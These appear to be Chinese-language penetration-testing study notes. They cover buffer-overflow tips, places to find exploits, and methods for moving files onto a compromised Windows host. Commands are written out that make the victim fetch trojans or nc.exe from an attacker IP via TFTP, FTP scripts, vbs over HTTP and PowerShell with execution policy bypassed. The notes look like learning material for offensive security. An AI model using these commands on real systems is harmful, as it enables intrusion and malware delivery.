0%

溢出思路

溢出其余思路

  1. 有的时候我们可能只能发送指定个数的溢出字符,比如说只有发送3000个a的时候我们才能控制EIP的指定内容。
  2. 有的时候我们可能并不能修改很多字符,情况是我们在EIP后面的栈内容中只能写很少个数的内容,但是我们溢出肯定有很多代码,所以找到那段字节,这个值可能是存在eax/ebx/edi之类的寄存器存储的内存单元指向的地址的,我们可以修改他,然后使用jmp eax之类的命令跳转过去,当然我们还是要先将EIP跳到ESP,然后间接跳转。
  3. 跳转的时候还可以使用call,但是记得要恢复堆栈平衡的。
  4. 溢出的坏字符一定要先查询

搜索漏洞

  1. Exploit-db
  2. SecurityFocus
  3. Searchsploit

上传文件

  1. Linux:

    1. netcat
    2. curl
    3. wget
  2. Windows:
    nc反弹的shell并不是一个交互的shell,不能进一步使用太多功能。

    1. TFTP(UDP,不加密,没有身份验证)
      1. XP,2003都是有的
      2. Win7、2008都需要单独添加
      3. 但是一般会被防火墙过滤
      4. mkdir /tftp
      5. 将要上传到文件复制到tftp中
      6. chown -R nobody /tftp
      7. atftpd –daemon –port 69 /tftp
      8. netstat -panu | grep 69
      9. 上面的命令主要是判断是不是atftpd打开的69,如果不是说明chown需要再运行一次
      10. 在shell中使用tftp -i 192.168.209.130 get 在tftp中的文件
    2. FTP进行下载
      1. echo open 192.168.209.130 > ftp.txt
      2. echo username >> ftp.txt
      3. echo password >> ftp.txt
      4. echo bin >> ftp.txt
      5. echo GET file.exe >> ftp.txt
      6. echo bye >> ftp.txt
      7. 在shell中执行ftp -s:ftp.txt
    3. vbs通过http传输
      1. 使用echo输出
      2. 然后本机开80,放木马
      3. 对面下载(使用cscript)
    4. 使用POWERSHELL传输文件
      1. 编写脚本和vbs差不多
      2. powershell.exe -ExecutionPolicy Bypass -NoLogo -NonIneractive -NoProfile filename.ps1
    5. 使用Debug
      1. 使用压缩壳对木马进行压缩
      2. 使用exe2bat.exe nc.exe nc.txt吧exe转换成文本的二进制文件
      3. 然后在shell中执行echo的语句,记住最后两句不是
      4. 他会在目标生成一个hex文件
      5. 最后再使用他最后两句的第一句,使用Debug汇编会生成一个DLL
      6. 然后使用最后一句改名DLL为执行程序
      7. 这个方法不能大于64KB